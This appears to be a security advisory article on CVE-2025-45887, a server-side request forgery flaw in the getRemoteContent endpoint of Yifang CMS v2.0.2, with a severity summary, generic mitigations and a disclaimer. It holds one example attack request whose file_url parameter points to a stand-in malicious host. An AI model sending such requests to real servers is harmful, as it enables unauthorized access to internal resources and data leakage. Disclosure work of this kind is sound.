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CVE-2025-45887: SSRF Vulnerability in Yifang CMS v2.0.2

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Overview

The Common Vulnerabilities and Exposures (CVE) project has identified a significant vulnerability in Yifang CMS v2.0.2, designated as CVE-2025-45887. This vulnerability is of particular concern for users and administrators of Yifang CMS, a popular content management system used in a variety of applications.
The vulnerability is classified as a Server-Side Request Forgery (SSRF), a type of exploit where an attacker can induce the server to make a request to an arbitrary domain of their choice. Such vulnerabilities can lead to significant breaches of data and system security and, given the severity score of 9.1, this vulnerability is considered critical and demands immediate attention.

Vulnerability Summary

CVE ID: CVE-2025-45887
Severity: Critical (9.1)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

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Product | Affected Versions

Yifang CMS | v2.0.2

How the Exploit Works

The vulnerability resides in the /api/file/getRemoteContent endpoint of the Yifang CMS. An attacker can craft a malicious request to this endpoint, leading the server to make a request to an arbitrary, potentially malicious, external domain. This control over server requests could be exploited to access internal resources that should be inaccessible from the outside, leading to unauthorized access or data leakage.

Conceptual Example Code

Here is a conceptual example of how an attacker might exploit this vulnerability.

GET /api/file/getRemoteContent?file_url=http://malicious.example.com/evil_script HTTP/1.1
Host: target.example.com

In this example, the attacker is using the `file_url` parameter to force the server to fetch content from `http://malicious.example.com/evil_script`, which could contain malicious code or data extraction scripts.

Mitigation Measures

The primary mitigation measure for this vulnerability is to apply the patch provided by the vendor. Until the patch can be applied, a temporary mitigation measure would be to use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to monitor and filter network traffic. These measures can help to identify and block malicious requests attempting to exploit this vulnerability.
Remember, always keep your systems updated and monitor them for any unusual activity to reduce the risk and impact of security vulnerabilities.

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Disclaimer:

The information and code presented in this article are provided for educational and defensive cybersecurity purposes only. Any conceptual or pseudocode examples are simplified representations intended to raise awareness and promote secure development and system configuration practices.

Do not use this information to attempt unauthorized access or exploit vulnerabilities on systems that you do not own or have explicit permission to test.

Ameeba and its authors do not endorse or condone malicious behavior and are not responsible for misuse of the content. Always follow ethical hacking guidelines, responsible disclosure practices, and local laws.

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